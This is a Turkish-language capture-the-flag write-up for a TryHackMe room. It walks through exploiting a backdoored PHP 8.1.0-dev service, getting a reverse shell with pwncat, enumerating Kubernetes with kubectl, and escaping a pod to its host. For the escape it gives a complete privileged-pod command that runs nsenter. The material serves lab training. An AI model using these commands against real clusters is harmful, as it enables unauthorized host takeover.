Frank and Herby Try Againn - THM WriteUp
Tryhackme room: https://tryhackme.com/r/room/frankandherbytryagain
Nmap Taraması
Açık port ve servisleri keşfetmek için nmap aracı kullanıyoruz. Tüm portlar da taranabilir ancak burada kubernetes için önemli olabilecek portlar tarandı. İlk tarama basit bir nmap taraması ve sadece 22 port açık olarak görünüyor.
İkinci taramada kubernetes için kullanılan varsayılan portlar taranmaktadır.
30679 portunda bir PHP uygulamasının çalıştığı görülmektedir.
PHP 8.1.0-dev Remote Code Execution
PHP 8.1.0-dev exploit olarak araştırıldığında, exploit-db içerisinde bu versiyon ile ilgili uzaktan kod çalıştırmaya (RCE) yol açan bir zafiyetin exploit kodu yer almaktadır.
Bu exploit kodunun olduğu (flast101/php-8.1.0-dev-backdoor-rce)[https://github.com/flast101/php-8.1.0-dev-backdoor-rce] github reposuna bakalım. Burada reverse shell almak için de exploit kodu bulunuyor
Bir pod içerisinde bulunduğunu env | grep kubernetes
komutu ile ortam değişkenlerini kontrol ederek yapabiliriz. Diğer bir tespit metodu ise, /var/run/secrets/kubernetes.io/serviceaccount dizini altında seervis hesabına ait token, sertifika bilgileri gibi kimlik bilgileri yer almakta bu gibi kontroller yapılabilir.
İçerisinde kubectl komutu bulunmuyor ve varsayılan olarak kullanılan birçok komut yok. netcat ile dinlemek biraz daha kısıtlı bir erişim veriyor bizim için. pwn-cat gibi daha kapsamlı kullanımı olan araçlar tercih edilebilir.
Pwncat kullanarak reverse shell
pwncat kurulumu, python ile sanal bir ortam oluşturup onun içerisinde gerçekleşmektedir. pwncat-cs --listen -p 1337
komutu ile 1337 numaralı portu dinlemeye başlanır. Reverse shell exploit kodu çalışıtırıldıktan sonra bağlantı sağlanıyor. upload kubectl /tmp/kubectl
komutunu kullanarak tmp dizini altına kubectl aracı yükleniyor.
help
komutu ile diğer komutların daha detaylı kullanımı incelenebilir. back
komutu çalıştırılarak hedef üzerindeki oturuma geri dönülür
Kubernetes Enumeration
/tmp dizini altına gelip kubectl aracına çalıştırma izni verip kullanılabilir. kubectl get pod
ile çalışan podlar görüntülenir. --all-namespaces
parametresi tüm podları listelemektedir.
kubectl cluster-info dump
komutu ile kubernetes kümesi hakkında detaylı bilgilere ulaşılabilir.
kubernetes ortamı için Microk8s dağıtımının 1.23.4 versiyonunun kullanıldığı görülmektedir. Burada ben manuel olarak kubernetes cluster hakkında bilgi toplamaya çalıştım. kubectl auth can-i
komutu içinde bulunan kubernetes bağlamında izin verilen işlemleri listeler. Burada tüm kaynaklar için tüm işlemler yetkilendirilmektedir. Yüksek yetkilerin verilmesi güvenlik zafiyetlerine neden olmaktadır.
Yetki Yükseltme
Pod Escape To Host
./kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true,"containers":[{"name":"1","image":"vulhub/php:8.1-backdoor","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Yukarıdaki komut ile hosta erişim sağlanıyor. Burada önemli bir nokta sistemde olmayan bir image pull edilemiyor ImagePullBackOff hatası veriyor pod oluştururken. Bu yüzden çalışan php-deploy podunun image kullanılması gerekiyor. kubectl get pod php-deploy-6d998f68b9-wlslz -o yaml
komutu ile pod yaml formatında görüntülenebiliyor.
Oluşturulmuş pod, oluşumunda hangi image kullanılmış ise host makineye erişim için oluşturulan pod içinde de o image kullanılması gerekiyor.
Benzer şekilde yaml dosyası ile de pod oluşturulabilir.
yaml dosyası upload escape-pod.yaml
komutu ile karşı tarafa gönderilebilir. Local oturuma gelmek için Ctrl+D kısayol tuşları kullanılır. Tekrar uzaktaki oturuma geçmek için back
komutu çalıştırılır
Sonraki adımda kubectl apply -f escape-pod.yaml
komutu ile pod oluşturulur.
kubectl exec -it escape-to-host -- /bin/bash
komutu ile pod içerisine erişilir.
Oluşan pod ayrıcalıklı (privileged) modda oluşturulur ve host processlerine erişimin olması için hostPID değeri true olarak set edilir. İçerisinde çalıştırılan nsenter komutu ile host mount namespace (ad alanı) erişimi sağlar.
Ek olarak bu teknik MITRE ATT&CK matrisinde Yetki Yükseltme (Privilege Escalation) taktik kategorisinde T1611 - Escape to Host tekniği olarak belirtilmektedir.
Kaynaklar
Subscribe to my newsletter
Read articles from arzu directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by